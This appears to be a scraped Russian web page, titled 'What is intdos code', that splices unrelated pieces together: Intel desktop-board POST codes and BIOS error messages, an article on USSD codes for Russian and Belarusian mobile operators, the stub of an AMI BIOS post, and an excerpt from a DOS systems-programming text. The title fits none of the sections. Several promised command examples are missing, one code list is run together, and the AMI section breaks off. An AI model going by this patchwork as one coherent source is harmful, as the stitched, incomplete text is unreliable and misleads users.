Что такое код intdos


Содержание

POST коды для системных плат настольных ПК

Порт 80-е коды POST [post-code] для системных плат для настольных ПК

Напечатайте Образец Frequency
Ошибка памяти Три длинных сигнала 1,280 Гц
Предупреждение системы охлаждения Четыре перемежающихся сисгнала:
Высокий тон, низкий тон, высокий тон, низкий тон
Высокий тон: 2,000 Гц
Низкий тон: 1,600 Гц

Сообщения об ошибках, выдаваемые BIOS

Сообщение об ошибке Описание
Обнаружен процессор, который не предназначен для использования с данной системной платой. Использование неподдерживаемых процессоров может привести к неправильной работе, повреждению системной платы для настольных ПК или процессора, или сокращению срока эксплуатации. Система отключится через 10 секунд. Установленный процессор не совмести с системной платой для настольных ПК.
CMOS Battery Low Возможна, разрядка батареи. Замените батарею.
CMOS Checksum Bad Ошибка проверки контрольной суммы ОЗУ. Возможно, память CMOS повреждена. Запустите программу BIOS Setup для обновления значений.
Memory Size Decreased Объем памяти уменьшился со времени последней загрузки. Если модули памяти не были удалены, возможно, память неисправна.
No «Boot» Device Available Система не нашла загрузочного устройства.

POST-коды порта 80h
Во время теста POST BIOS генерирует коды прохождения (POST-коды [post-code]) и направляет их в порт ввода/вывода 80h. Если процедура POST завершилась неудачно, последний сгенерированный POST-код остается в порту 80h. Этот код можно использовать для определения причины ошибки.

Отображение POST-кодов
Для отображения POST-кодов можно использовать один из следующих методов.

POST-плата (дополнительная плата для шины PCI) POST-плата декодирует данные порта и отображает их на светодиодном дисплее. POST-плату необходимо устанавливать на разъем 1 PCI-шины.
Встроенный светодиодный дисплей для отображения POST-кодов Некоторые Системные платы для настольных ПК Intel® включают встроенный Ведомый для показа Кодов POST

Диапазоны POST-кодов порта 80h
В таблицах ниже все POST-коды и значения представлены в шестнадцатеричном формате.

Диапазон Категория/Подсистема
00 – 0F Коды отладки: Могут использоваться, как средство для отладки любым модулем PEIM/драйвером
10 – 1F Процессоры системы
20 – 2F Память/набор микросхем
30 – 3F Восстановление
40 – 4F Зарезервировано для использования
50 – 5F Шины ввода/вывода: PCI, USB, ISA, ATA и т.д.
60 – 6F Сейчас не используется
70 – 7F Устройства вывода: Все консоли вывода
80 – 8F Зарезервировано для будущего использования (для новых кодов консоли вывода)
90 – 9F Устройства ввода: Клавиатура/Мышь
A0 – AF Зарезервировано для будущего использования (для новых кодов консоли ввода)
B0 – BF Загрузочные устройства: Включают в себя стационарные и съемные носители.
C0 – CF Зарезервировано для использования
D0 – DF Выбор загрузочного устройства
E0 – FF E0 – EE: Другие коды
F0 – FF: FF — ошибка прерывания процессора

POST-коды порта 80h

Код POST Описание эксплуатации POST
00 — 0F Коды отладки: может использоваться, как средство для отладки любым модулем PEIM/диском
10 — 1F Процессор системы
10 Включение процессора системы (загрузочный процессор)
11 Инициализация кэш-памяти процессора (включая SP)
12 Начало инициализации приложений процессора
13 Инициализация SMM
14 Инициализация сетевого подключения
15 Преждевременный выход при инициализации драйвера платформы
16 Инициализация драйвера SMBUS
17 Вход в исполнимый код SMBUS в режиме чтения/записи
19 Вход в режим программирования тактового генератора CK505
1F Невосстановимая ошибка процессора
20 — 2F Память/набор микросхем
21 Инициализация компонентов набора микросхем
22 Чтение SPD через модули памяти DIMM
23 Идентификация модулей памяти DIMM
24 Программирование параметров тактовой частоты с помощью контроллера памяти и модулей DIMM
25 Конфигурирование памяти
26 Оптимизация установок памяти
27 Инициализация памяти, например ECC
28 Тестирование памяти
2F Системе не удалось обнаружить память или пригодную память
30 — 3F Восстановление
30 Восстановление после сбоя было запущено по запросу пользователя
31 Восстановление после сбоя было запущено ПО (повреждено флэш-устройство)
34 Загрузка капсулы восстановления
35 Передача управления капсуле восстановления
3F Невозможно восстановить
50 — 5F Шины ввода/вывода (PCI, USB, ISA, ATA и т.д)
50 Нумерация шин PCI
51 Передача ресурсов на шину PCI
52 Инициализация контроллера Hot Plug PCI
53 – 57 Зарезервировано для шины PCI
58 Переустановка шины USB
59 Зарезервировано для USB
5A Переустановка шины PATA/SATA и всех устройств
5B Зарезервировано для ATA
5C Переустановка SMBUS
5D Зарезервировано для SMBUS
5F Невосстановимая ошибка шины ввода/вывода
60 — 6F Сейчас нет действительных POST-кодов в диапазоне 60 — 6F.

Если POST-код будет отображен в данном диапазоне, это код из диапазона B0 — BF. (На 7-сегментном ЖК-дисплее, символ ‘b’ выглядит как 6).

Пример:

70 — 7F Устройства вывода
70 Переустановка контроллера VGA
71 Отключение контроллера VGA
72 Включение контроллера VGA
78 Переустановка контроллера консоли
79 Отключение контроллера консоли
7A Включение контроллера консоли
7F Невосстановимая ошибка устройства вывода
90 — 9F Устройства ввода
90 Переустановка клавиатуры
91 Отключение клавиатуры
92 Определение присутствия клавиатуры
93 Включение клавиатуры
94 Очистка входного буфера клавиатуры
95 Информация о контроллере клавиатуры — запуск самотестирования (только PS2)
98 Переустановка мыши
99 Disabling mouse
9A Определение присутствия мыши
9B Включение мыши
9F Невосстановимая ошибка устройства ввода (клавиатура или мышь)
B0 – BF Загрузочные устройства
B0 Переустановка стационарных носителей
B1 Отключение стационарных носителей
B2 Определение присутствия стационарных носителей (обнаружение жесткого диска IDE и т.д.)
B3 Подключение/настройка стационарных носителей
B8 Переустановка съемных носителей
B9 Отключение съемных носителей
BA Определение присутствия съемных носителей (обнаружение IDE, CD-ROM и т.д.)
BC Подключение/настройка съемных носителей
BF Невосстановимая ошибка загрузочного устройства
D0 – DF Выбор загрузочного устройства
Dy Перезагрузка через параметр y (y=от 0 до 15)
E0 – FF Другие коды
E0 Начато распределение PEIM (возникает при первом сообщении EFI_SW_PC_INIT_BEGIN EFI_SW_PEI_PC_HANDOFF_TO_NEXT)
E2 Обнаружена постоянная память
E1, E3 Зарезервировано для PEI/PEIM
E4 Начало фазы DXE
E5 Начало распределения драйверов
E6 Начало соединения драйверов
E7 Ожидание воода данных пользователем
E8 Проверка пароля
E9 Вход в утилиту BIOS Setup
EB Вызов установленных дополнительных ПЗУ
EF Загрузка/S3 повторение сбоя
F4 Вход в режим сна
F5 Выход из режима сна
F8 Произошел вызов службы загрузки EFI ExitBootServices ( )
Память -> Шины -> Устройства ввода-вывода -> Устройства загрузки. Последовательность POST-кодов зависит от используемой системы.

Код POST Описание
21 Инициализация компонентов набора микросхем
22 Чтение SPD через модули памяти DIMM
23 Идентификация модулей памяти DIMM
25 Конфигурирование памяти
28 Тестирование памяти
34 Загрузка капсулы восстановления
E4 Начало фазы DXE
12 Начало инициализации приложений процессора

13Инициализация SMM50Нумерация шин PCI51Передача ресурсов на шину PCI92Обнаружение присутствия клавиатуры90Переустановка клавиатуры94Очистка входного буфера клавиатуры95Самотестирование клавиатурыEBВызов графических режимов BIOS58Переустановка шины USB5AПереустановка шины PATA/SATA и всех устройств92Обнаружение присутствия клавиатуры90Переустановка клавиатуры94Очистка входного буфера клавиатуры5AПереустановка шины PATA/SATA и всех устройств28Тестирование памяти90Переустановка клавиатуры94Очистка входного буфера клавиатурыE7Ожидание воода данных пользователем01INT 1900Готово для перезагрузки

Запрос USSD — это что такое? USSD-запросы и коды

Все современные люди пользуются услугами мобильной связи от разных операторов, а у каждого мобильного оператора есть перечень комбинаций, с помощью которых можно подключить те или иные услуги – это запрос USSD. Если вкратце, то подобные запросы содержат в себе цифры и символы, после ввода и отправки которых будет сделано какое-то действие. Каждый отвечает за отдельную функцию, и в данной статье будет представлено все о подобных комбинациях.

Для чего нужны команды?

Запрос USSD – это своего рода опция для клиентов мобильной связи, которая устанавливается вместе с SMS и является базовой услугой любого оператора. В переводе данная аббревиатура означает «дополнительная опция, которая не имеет структуры».

Для наглядного примера стоит разобраться, как работает подобная комбинация:

  1. Клиент мобильной связи, например, желает проверить баланс мобильного телефона с использованием сервисного кода.
  2. На клавиатуре телефона сначала нажимается «*», а потом вводится нужное число, код которого отвечает за проверку баланса.
  3. После цифр вводится «#» и осуществляется звонок для отправки данных в сеть.
  4. Через несколько секунд сведения о балансе поступают на телефон в виде SMS или как интерактивное меню на экране гаджета.

Кроме того, запрос USSD может не только позволить проверить состояние счета. С его помощью можно включить или отключить услуги, сделать переход на другой тариф, открыть меню оператора для получения информации по мобильной связи, а также провести массу других операций.

Польза от комбинаций

Запрос USSD очень удобно использовать, ведь с вводом коротких команд можно добиться быстрого получения информации, при этом нет необходимости звонить оператору или отправлять SMS. Кроме того, с использованием комбинаций можно получить интересующие данные в любое удобное время, на протяжении 24 часов в сутки.

С использованием таких кодов можно контролировать свой мобильный телефон, номер. Клиенты сети могут отправлять запросы другим людям, чтобы те переслали деньги или просто перезвонили.

Для более детального рассмотрения комбинаций следует указать данные по разным операторам России.

Популярные комбинации МТС

Самая первая и популярная команда от МТС — это *111#. Такая команда служит для открытия портала, в котором каждый пользователь сможет управлять тарифом и опциями. Если сложно запоминать другие команды, то нужно запомнить только эту. С ее помощью можно будет узнать все, что потребуется, и даже мобильный баланс. Запрос заменяет персональный кабинет на сайте и может использоваться в любом регионе и даже стране. USSD-запросы МТС не тарифицируются, что очень удобно.

Если на телефоне в сообщениях и прочих частях документов есть символы, которые невозможно прочесть, то нужно ввести *111*6*1#. Ниже будут представлены самые популярные коды от оператора МТС России:

  1. Проверка счета проводится через набор комбинации *100#.
  2. Посмотреть, за что были сняты средства на протяжении 5 последних действий, можно по команде *145#.
  3. Быстро узнать номер мобильного можно по коду *111*10#.
  4. Для проверки активных платных опций используется *111*11#.
  5. Для проверки действующего тарифа применяется *111*12#.
  6. Узнать об остатке пакетных предложений можно по вводу *217#.
  7. Произвести пополнение баланса, используя для этого карту банка, можно через запрос *115#.

Это лишь малое количество запросов, которые есть у оператора. Детально со всеми можно ознакомиться на сайте, а в данной статье описаны только самые распространенные и необходимые. Информация по запросам на тарифные планы будет предоставлена в описании к самому тарифу, который выбран абонентом.

Команды «Велком»

Через USSD-запрос от «Велком» абоненты могут управлять мобильной связью самостоятельно. Таким образом, для проверки сведений по балансу нужно набрать на клавиатуре телефона *100#. Если пользователю нужно поменять систему оплаты, то используется код *145#. Это основные коды для управления своими деньгами.

Еще можно управлять тарифами. Для активации того или иного тарифного плана служит своя команда. Теперь предлагаем ознакомиться с другими методами управления планом. Для проверки активного тарифа нужно набрать *141*2*1#, а чтобы узнать мобильный номер, набирается *147#. В некоторых случаях в ответ на запрос будет приходить SMS, а в некоторых данные выводятся сразу на экран.

Для получения сведений о мобильном интернете и других опциях используется комбинация *135#. После ввода будет открыто меню, в котором можно выбрать разные услуги и ознакомиться с ними, а также при необходимости совершить их активацию. Есть еще одно меню, что позволяет открыть справки и команды для других запросов, для этого пользователям нужно набрать комбинацию *141#. Как видно, USSD-запросы «Велком» очень похожи на команды МТС и работают аналогично.

Команды «МегаФон»

У оператора «МегаФон» тоже большой перечень комбинаций, с которыми абонентам следует ознакомиться. Увидеть все возможные коды можно на официальной странице, а ниже будут описаны только самые востребованные у пользователей:

  1. Для вызова меню, которое по функциональности может заменить личный кабинет, вводится *105#.
  2. Узнать информацию по счету можно через код *100#.
  3. Посмотреть свой номер получится через запрос *205#.
  4. Остатки пакетных предложений узнаются через комбинацию *558#.
  5. Для детализации сведений об используемом тарифе вводится *105*3#.
  6. Информация о бонусном балансе предоставляется по коду *115#.
  7. Очень удобно использовать сервис «Перезвони мне» если прописать на клавиатуре *144*номер мобильного телефона клиента#.
  8. Для пополнения баланса другому пользователю «МегаФон» применяется комбинация *143*номер#.
  9. Использовать сервис «Обещанный платеж» получится по вводу *106#.

Это самые распространенные USSD-запросы «МегаФон», которые применяются чаще всего.

Рано или поздно комбинации пригодятся каждому абоненту мобильной связи, поэтому лучше изучить самые главные из них, чтобы в нужный момент их можно было применить. Все команды от «МегаФон» полностью бесплатные, а клиенты могут использовать их в работе в любое удобное для себя время.

Заключение

Как видно, запросов очень много, и все они отвечают за отдельные услуги. Важно после ввода той или иной комбинации не забывать совершать звонок для отправки команды, в противном случае нужная информация не будет предоставлена.

POST-коды AMI BIOS

Здравствуйте, уважаемые читатели блога Help начинающему пользователю компьютера. Предлагаю Вашему вниманию основные POST-коды для BIOS производителя AMI . Небольшое вступление. Сразу после нажатия кнопки POWER на системном блоке персонального компьютера управление ПК переходит непосредственно к БИОС. В это время (в начале запуска ПК) процессор подает сигнал на микросхему BIOS, который инициализирует загрузку микропрограммы BOOT-ROUTINE Базовой Системы Ввода-Вывода.

Микропрограмма BOOT-ROUTINE вызывает подпрограмму самотестирования POST.

Что такое код intdos

Дистрибутив операционной системы MS-DOS состоит, в зависимости от версии, из одной или нескольких дискет. На них расположены файлы собственно операционной системы IO.SYS, MSDOS.SYS, командный процессор COMMAND.COM, файлы внешних команд операционной системы (FORMAT, FDISK и т.п.), драйверы и другие файлы.

Файл IO.SYS содержит расширение базовой системы ввода/вывода и является интерфейсом между операционной системой и BIOS. Расширение используется операционной системой для взаимодействия с аппаратурой компьютера и BIOS.

Файл MSDOS.SYS является в некотором смысле набором программ обработки прерываний, в частности прерывания INT 21H. Это тело операционной системы.

Командный процессор COMMAND.COM предназначен для организации диалога с оператором. Он анализирует вводимые оператором команды и организует их выполнение. Так называемые внутренние команды (DIR, COPY и т.д.) обрабатываются именно командным процессором. Программист имеет возможность написать свой собственный командный процессор и подключить его вместо стандартного. Новый командный процессор должен выполнять все функции, которые раньше выполнял стандартный COMMAND.COM.

Драйверы (обычно это файлы, имеющие расширение имени .SYS) представляют собой программы, обслуживающие различную аппаратуру. Эти программы имеют специальный формат и будут подробно описаны в книге. Применение драйверов легко решает проблемы использования новой аппаратуры — достаточно написать для нового устройства драйвер и подключить его к операционной системе. Прикладные программы взаимодействуют с устройствами через драйвер, поэтому они не будут меняться при изменениях в аппаратуре. Например, новое дисковое устройство может иметь другое количество дорожек и секторов, другие управляющие команды. Все это учитывается драйвером, а прикладная программа будет работать с новым диском как и раньше, используя прерывания MS-DOS.

Файлы внешних команд операционной системы содержат программы-утилиты для выполнения разнообразных операций, таких как форматирование дисков, сортировка файлов, печати текстов и других.

Немного об утилитах, предназначенных для подготовки дисков и дискет.

Файлы операционной системы выделяются своим особым расположением на диске (кроме COMMAND.COM) — эти файлы должны находиться в специально отведенном для них месте. Если вам нужно подготовить дискету как системную (т.е. такую, с которой можно загружать операционную систему), для переноса файлов операционной системы следует использовать специальные утилиты.

Самый простой способ подготовки системной дискеты — использовать команду FORMAT с опцией /S, например:

В этом случае после форматирования на дискету будут перенесены файлы операционной системы. При использовании команды текущим должен быть корневой каталог системного диска, например, диска С:.

Если вы собираетесь обновить версию операционной системы (например, вместо MS-DOS 3.30 установить MS-DOS 4.01), не обязательно заново переформатировать весь диск. Загрузив новую версию с дискеты, для переноса новых системных файлов используйте команду SYS:

Файл COMMAND.COM скопируйте обычным способом.

Если вам надо сделать дискету системной, а ее форматирование нежелательно (дискета содержит важную информацию), воспользуйтесь программой Norton Disk Doctor или аналогичной. Программа освободит место в начале диска для операционной системы, переписав располагавшиеся там данные на свободное место в конце дискеты, затем запишет системные файлы и даже скопирует файл COMMAND.COM.

Утилита FDISK предназначена для подготовки к работе жесткого диска. Она разбивает диск на участки, называемые разделами.

На одном физическом диске могут быть разделы, принадлежащие разным операционным системам. Один из разделов — активный, операционная система загружается из активного раздела.

Для MS-DOS утилита FDISK позволяет создать первичный и вторичный разделы. В первичном разделе располагается системный диск C:, с которого выполняется загрузка операционной системы, вторичный раздел может быть разделен на логические диски (D:, E:, F: и т.д.). Диски, располагающиеся во вторичном разделе, не могут быть системными.

Заметим, что только MS-DOS версии 4.01, 5.0 и Compaq DOS 3.31 позволяют создавать логические диски размером более 32 мегабайт. Это связано с тем, что другие версии DOS используют 16-разрядную адресацию секторов диска, что недостаточно для дисков больших размеров.

Очень часто вместо утилиты FDISK для подготовки жесткого диска используются диск-менеджеры. Это такие программы, как Advanced Disk Manager, Speed Stor и т.д. Используя свои собственные форматы разделов и таблиц разделов (и свои драйверы дисковых устройств), диск-менеджеры предоставляют такие дополнительные возможности, как защита логического диска от записи или организация парольной защиты данных на диске, создание логических дисков размером более 32 мегабайт.

Однако не всегда применение диск-менеджеров может привести к желаемому результату. Защита от несанкционированного доступа часто легко преодолевается, мощные ситемы защиты сильно привязаны к конкретной версии операционной системы (например, WatchDog, очень мощная система защиты, требует только DOS версии 3.20).

Кроме того, драйверы, используемые диск-менеджерами могут замедлить работу дисковой подсистемы компьютера.

Некоторые программы, особенно защищенные от копирования, отказываются работать на диске, подготовленном не утилитой FDISK. Причины этого мы увидим, когда будем обсуждать проблемы защиты программ от несанкционированного копирования.

Перейдем к процедуре начальной загрузки операционной системы.

При включении питания компьютера управление передается базовой системе ввода/вывода, BIOS.Она выполняет проверку аппаратных узлов компьютера, формирует начальную часть таблицы векторов прерываний, инициализирует устройства и начинает процесс загрузки операционной системы.

Загрузка начинается с того, что BIOS делает попытку прочитать самый первый сектор дискеты, вставленной в дисковод А: (на загрузочной дискете этот сектор содержит загрузчик операционной системы). Если в дисковод вставлена системная дискета, с нее считывается загрузчик и ему передается управление.

Если дискета не системная, т.е. не содержит загрузочной записи, на экран выдается сообщение с просьбой заменить дискету.

Если же дискеты в дисководе А: вообще нет, то BIOS читает основную загрузочную запись диска С: (Master Boot Record). Обычно это самый первый сектор на диске. Управление передается загрузчику, который находится в этом секторе. Загрузчик анализирует содержимое таблицы разделов (она также находится в этом секторе), выбирает активный раздел и читает загрузочную запись этого раздела. Загрузочная запись активного раздела (Boot Record) аналогична загрузочной записи, находящейся в первом секторе системной дискеты.

Загрузочная запись активного раздела считывает с диска файлы IO.SYS и MSDOS.SYS (именно в этом порядке). Затем считываются и загружаются резидентные драйверы. Начинается формирование связанного списка драйверов устройств. Анализируется содержимое файла CONFIG.SYS, загружаются описанные в этом файле драйверы. Сначала загружаются драйверы, описанные параметром DEVICE, затем (только в MS-DOS версии 4.х и 5.0) резидентные программы, указанные операторами INSTALL. После этого считывается командный процессор и ему передается управление.

Командный процессор состоит из трех частей — резидентной, инициализирующей и транзитной. Первой загружается резидентная часть. Она обрабатывает прерывания INT 22H, INT 23H, INT 24H, управляет загрузкой транзитной части. Эта часть командного процессора обрабатывает ошибки MS-DOS и выдает запрос пользователю о действиях при обнаружении ошибок.

Инициализирующая часть используется только в процессе загрузки операционной системы. Она определяет начальный адрес, по которому будет загружаться пользовательская программа и инициализирует выполнение файла AUTOEXEC.BAT.

Транзитная часть командного процессора располагается в старших адресах памяти. В этой части находятся обработчики внутренних команд MS-DOS и интерпретатор командных файлов с расширением имени .BAT. Транзитная часть выдает системное приглашение (например, А:\> ), ожидает ввода команды оператора с клавиатуры или из пакетного файла и организует их выполнение.

После загрузки командного процессора и выполнения начальных процедур, перечисленных в файле AUTOEXEC.BAT, подготовка системы к работе завершается.

Для того чтобы правильно работать с системным программным и аппаратным обеспечением, нужно четко представлять себе механизм взаимодействия прикладной программы с компьютером. На рис. 1.1 показаны функциональные связи программы с программно-аппаратным обеспечением IBM PC.

Как правило, ядро DOS разделяют на несколько подсистем, каждая из которых отвечает за выполнение той или иной задачи. Как показано на рисунке, обычно выделяются следующие подсистемы:

  • файловая система;
  • система управления памятью;
  • система управления программами;
  • система связи с драйверами устройств;
  • система обработки ошибок;
  • службу времени;
  • систему ввода/вывода консоли оператора.

Эти подсистемы общаются с аппаратурой через BIOS, драйверы или напрямую. Прикладное программное обеспечение может вызывать подсистемы DOS, работать с BIOS или непосредственно с аппаратурой. Обратите, однако, внимание на то, что прикладные программы могут обращаться к драйверам только через соответствующую подсистему DOS.

Очевидно также, что чем выше уровень интерфейса прикладной программы и аппаратуры, тем меньше программа будет зависеть от особенностей аппаратуры.

Рассмотрим подсистемы DOS отдельно.

Файловая система.

Файловая система является одной из важнейших подсистем DOS. Она используется как в процессе загрузки операционной системы, так и в процессе ее работы. Сама операционная система записана на системном диске в виде файлов (IO.SYS, MSDOS.SYS, COMMAND.COM, драйверы, внешние команды и т.д.). Все прикладные программы и вообще все программы и данные для них хранятся на дисках в виде файлов, поэтому можно сказать, что файловая система — ключевая подсистема DOS.

Для обращения к файловой системе прикладная программа должна использовать специально предназначенные для этого функции прерывания DOS. Эти функции выполняют все файловые операции — создание, удаление файлов и каталогов, буферизованная и не буферизованная запись или чтение, получение справочной информации о состоянии файловой системы и другие. Файловые операции будут кратко описаны в обзоре прерываний DOS, кроме того, файловой системе полностью посвящена третья книга первого тома.

Файловая система работает с дисками через драйверы. Драйверы, в свою очередь, пользуются сервисом BIOS.

На уровне BIOS выполняются элементарные операции с диском, такие как чтение/запись секторов, форматирование и т.п. Этот низкий уровень доступен и прикладной программе, но обычно она пользуется функциями прерывания DOS, выполняющими все необходимые действия по обслуживанию каталогов и таблицы размещения файлов (File Allocation Table — FAT). Программы защиты от несанкционированного доступа или копирования вынуждены обращаться к средствам более низкого уровня, вызывая прерывания BIOS, или даже работать с контроллером дисковода через порты ввода/вывода.

Используя подсистему DOS, отвечающую за связь с драйверами, прикладные программы могут также выполнять элементарные операции с диском, такие как форматирование.

Система управления памятью.

Эта подсистема DOS используется для распределения памяти запускаемым программам.

DOS управляет памятью с помощью блоков MCB (Memory Control Block). Память разбивается на блоки; каждому блоку предшествует MCB, в котором записаны характеристики блока памяти. Для каждой вновь запускаемой программы DOS создает определенное количество блоков MCB. При освобождении памяти или при выполнении запросов на получение дополнительной памяти DOS также использует блоки MCB, проверяя при этом правильность их содержимого.

Все блоки MCB располагаются друг за другом. Адрес первого блока хранится в векторной таблице связи, CVT, о которой мы будем говорить в главе 2. Там же будет описан формат блока управления памятью.

Прикладная программа может заказать для себя дополнительные блоки памяти. Для этого она обращается к системе управления памятью, используя функции прерывания 21h DOS.

Система управления программами.

При запуске программы DOS выполняет несколько операций. Сначала она обращается к системе управления памятью, чтобы подготовить блоки памяти для запускаемой программы. С помощью файловой системы файл, содержащий программу, загружается в память, после чего программа (это относится только к файлам типа .exe) настраивается на конкретный физический адрес. Только после этого программе передается управление.

Как известно, в MS-DOS существуют два формата выполняемых программ — .com и .exe. Способы запуска этих программ сильно различаются. Система управления программами автоматически распознает их и загружает в память по-разному. Мы еще вернемся к описанию различий между этими типами программ.

Другая задача, решаемая ситемой управления программами — запуск программ из программ и загрузка «программных перекрытий» — оверлеев. Если не все модули большого программного комплекса нужны одновременно, вы можете разбить комплекс на несколько частей. Это могут быть либо несколько отдельных программ, либо несколько оверлейных модулей. Каждый из этих способов имеет свои преимущества и недостатки; оба они пригодны для экономии памяти.

И наконец, последняя функция системы управления программами — работа с резидентными программами. Если вам надо, чтобы после завершения своей работы программа осталась резидентной в памяти, вы, как и в случае завершения обычной программы, обращаетесь к системе управления программами через соответствующую функцию прерывания DOS 21h.

Система связи с драйверами устройств.

Эта система скрыта от прикладных программ — программы не могут обращаться непосредственно к драйверам устройств ввода/вывода. Программа вызывает DOS, а DOS обращается при необходимости к драйверам.

Возможно, что запрет на непосредственный вызов драйверов введен для обеспечения совместимости с будущими версиями операционной системы, в которых механизм вызова драйверов может измениться. Однако, используя сведения, приведенные в этой книге, вы сможете обойти этот запрет и обратиться непосредственно к драйверу. При этом вам придется использовать некоторые недокументированные прерывания DOS, что само по себе нежелательно из-за возможной потери совместимости с другими версиями операционной системы.

Для управления состоянием устройства ввода/вывода или состоянием драйвера используется специальная функция 44h прерывания DOS 21h. Эта функция предназначена для обмена управляющей информацией между прикладной программой и драйвером.

Система обработки ошибок.

Система обработки ошибок DOS проста и удобна. Для кодирования ошибок как правило используется флаг переноса (CARRY, CF). Если после обращения к прерыванию DOS флаг переноса установлен в 1, произошла ошибка. Для того чтобы проанализировать ошибку и предпринять какие-то действия, можно вызвать соответствующую функцию DOS, которая вернет уточняющую информацию об ошибке и предоставит соответствующие рекомендации (разумеется, лишь в виде кодов, находящихся в регистрах процессора).

Если произошла критическая ошибка ввода/вывода (например, прочитать дискету невозможно), вызывается стандартная процедура DOS, выводящая на экран запрос о дальнейших действиях. Пользовательская программа может подключить вместо системной свою программу обработки критических ошибок. Подробнее об обработке ошибок будет сказано в разделе 1.6.

Служба времени.

Компьютер обычно оборудуется системными часами. Это могут быть КМОП-часы с питанием от аккумулятора, содержимое которых не сбрасывается при выключении питания компьютера, или таймер, регулярно вырабатывающий прерывания. В любом случае операционная система ведет подсчет времени и хранит текущие показания часов и дату.

Программа может опросить часы, обратившись к DOS с запросом через одну из функций прерывания 21h, или установить новое состояние часов.

Операционная система содержит драйвер устройства CLOCK$. Прикладная программа может обратиться к этому устройству для чтения показания часов или для установки часов. В книге 2 первого тома приведен пример программы для работы с устройством CLOCK$.

Программа может также использовать прерывания таймера для регулярного выполнения каких-либо функций.

Ввод/вывод на консоль оператора.

Консоль оператора состоит из двух устройств — клавиатуры и дисплея. Эти два устройства обслуживаются одним драйвером — драйвером консоли CON. Т.е. можно считать, что в компьютере имеется устройство — консоль — с именем CON.

Операционная система обслуживает консоль с помощью функций прерывания 21h, обеспечивающих ввод и вывод символов на устройство CON. Для работы с физической клавиатурой и дисплейным адаптером этот драйвер использует прерывания BIOS.

Другие подсистемы DOS.

DOS имеет набор драйверов для работы с печатающими устройствами и последовательными портами, которые обеспечивают прием/передачу символов и управление режимами работы устройств.

Кроме того, для печати текста в фоновом режиме в состав дистрибуции DOS входит программа PRINT.COM. Эта практически единственная «мультизадачная» утилита операционной системы является примером стандартной резидентной программы. Она позволяет выполнять параллельно с печатью текста другую работу (например, редактирование другого текста).

Специально следует отметить драйверы электронного диска и кэш-памяти. Драйвер электронного диска называется RAMDRIVE.SYS. Этот драйвер организует в расширенной или в дополнительной памяти компьютера быстрый псевдо-диск. Можно организовать электронный диск и в основной памяти, но основной памяти всегда мало!

Операционная система MS-DOS версий 4.01 и 5.0 имеет в своем составе систему управления дополнительной и расширенной памятью, которая реализуется драйвером HIMEM.SYS. Этот драйвер позволяет программам, составленным специальным образом, использовать расширенную или дополнительную память для хранения данных (но не для выполнения программ).

Если подключен драйвер HIMEM.SYS, то с помощью драйвера SMARTDRV.SYS можно создать кэш-память для жесткого диска. Особенно эффективно применение кэш-памяти для работы с базами данных, когда вам периодически требуется одна и та же информация. В следующий раз, когда информация потребуется, она будет доступна без обращения к диску.

Такое широко распространенное и ставшее стандартным для любого персонального компьютера устройство как мышь не поддерживается операционной системой. Для использования мыши следует подключить драйвер, который обычно поставляется вместе с этим устройством.

Другие устройства ввод/вывода (сканеры, плоттеры, стримеры и т.п.) также не поддерживаются DOS. Для этих устройств фирмы поставляют драйверы, которые надо подключить к операционной системе.

Как правило, любая программа работает с тем или иным устройством ввода/вывода. Программы для первых ЭВМ работали непосредственно с портами и регистрами этих устройств. Модули, выполняющие такие стандартные действия, как ввод данных с перфокарт или печать результатов вычислений, входили в состав пользовательских программ.

В начале своего развития микропроцессорные системы имели в своем составе программу, называемую «монитор». Эта программа обычно находилась в постоянном запоминающем устройстве и обслуживала устройства ввода/вывода: клавиатуру, дисплей, кассетный накопитель на магнитной ленте и др. Диалоговая часть монитора позволяла выполнять некоторые операторские функции: загрузку и запуск программы, отладку программы в пошаговом режиме, печать текстов, просмотр и редактирование содержимого памяти и т.п. Но самое главное — прикладные программы, составленные для этих систем, могли пользоваться модулями монитора для работы с периферийной аппаратурой и для выполнения других функций.

Программа уже не содержала все необходимые для ее работы модули, а пользовалась «стандартными» услугами программы-монитора. Такая организация программы не только уменьшила размер ее загрузочного модуля, но и позволила программистам сосредоточить свои усилия на решении основной задачи.

Как программа пользовалась услугами монитора? Механизм взаимодействия программы пользователя и монитора был реализован по-разному в разных системах. В худшем случае прикладная программа пользовалась известными абсолютными адресами модулей монитора, в лучшем — использовала специальные таблицы адресов программных модулей.

К сожалению, разные системы были несовместимы по составу модулей монитора и механизму их вызова, что сильно затрудняло, если не совершенно исключало их программную совместимость.

В первом массовом персональном компьютере IBM PC модули обслуживания стандартной периферии были записаны в постоянном запоминающем устройстве. Совокупность этих модулей (плюс программа начальной инициализации и тестирования) называется базовой системой ввода/вывода — Basic Input/Output System. Общепринятое сокращение — BIOS.

Выпускаемые различными фирмами компьютеры, совместимые с IBM PC, могут немного отличаться по типу периферийного оборудования, но для достижения совместимости с IBM PC модули BIOS нивелируют эти различия, предоставляя в распоряжение программы пользователя стандартный набор модулей для работы с устройствами ввода/вывода.

Не будет преувеличением сказать, что одна из причин такого невиданного успеха компьютера IBM PC на рынке персональных компьютеров — наличие хорошо продуманного стандартного интерфейса модулей BIOS и прикладных программ. Именно благодаря этому интерфейсу достигается почти стопроцентная совместимость по программному обеспечению компьютеров этого типа, выпускаемых разными фирмами.

В этом разделе книги мы расскажем о том, как прикладные программы, составленные для компьютера, совместимого с IBM PC, могут пользоваться модулями BIOS для работы со стандартной периферией, затем приведем краткий обзор основных модулей BIOS.

Напомним вам, что такое программные прерывания, так как именно они используются для вызова модулей BIOS.

В начале оперативной памяти персонального компьютера (в пределах первого килобайта) находится так называемая векторная таблица прерываний. Она состоит из 256 ячеек, хранящих адреса программ-обработчиков прерывания. Мы будем подробно изучать эту таблицу в главе 4, а сейчас вспомним машинную команду INT .

По этой команде содержимое ячейки векторной таблицы прерываний с номером n помещается в адресные регистры процессора, причем в стеке запоминается текущее содержимое адресных регистров. Управление передается по адресу, записанному в ячейке таблицы. Программа-обработчик прерывания должна заканчиваться командой IRET, по которой из стека извлекается старое значение адресных регистров и управление передается обратно в программу, вызвавшую прерывание командой INT .

Вообще говоря, процедура вызова и обработки программного прерывания похожа на процедуру вызова подпрограммы. Отличие заключается в том, что вызывающая программа «не знает» абсолютного адреса модуля обработки прерывания в памяти. Поэтому работа программ не зависит от адресов расположения модулей обработчиков прерывания.

Для вызова модуля BIOS программа использует команду INT с соответствующим номером n. Программа передает параметры модулям BIOS через регистры процессора, результат работы модуля возвращается также в регистрах.

Не все номера прерываний n используются BIOS. Часть из них предназначена для аппаратных прерываний от устройств ввода/вывода, часть зарезервирована для DOS, часть — для программ пользователя.

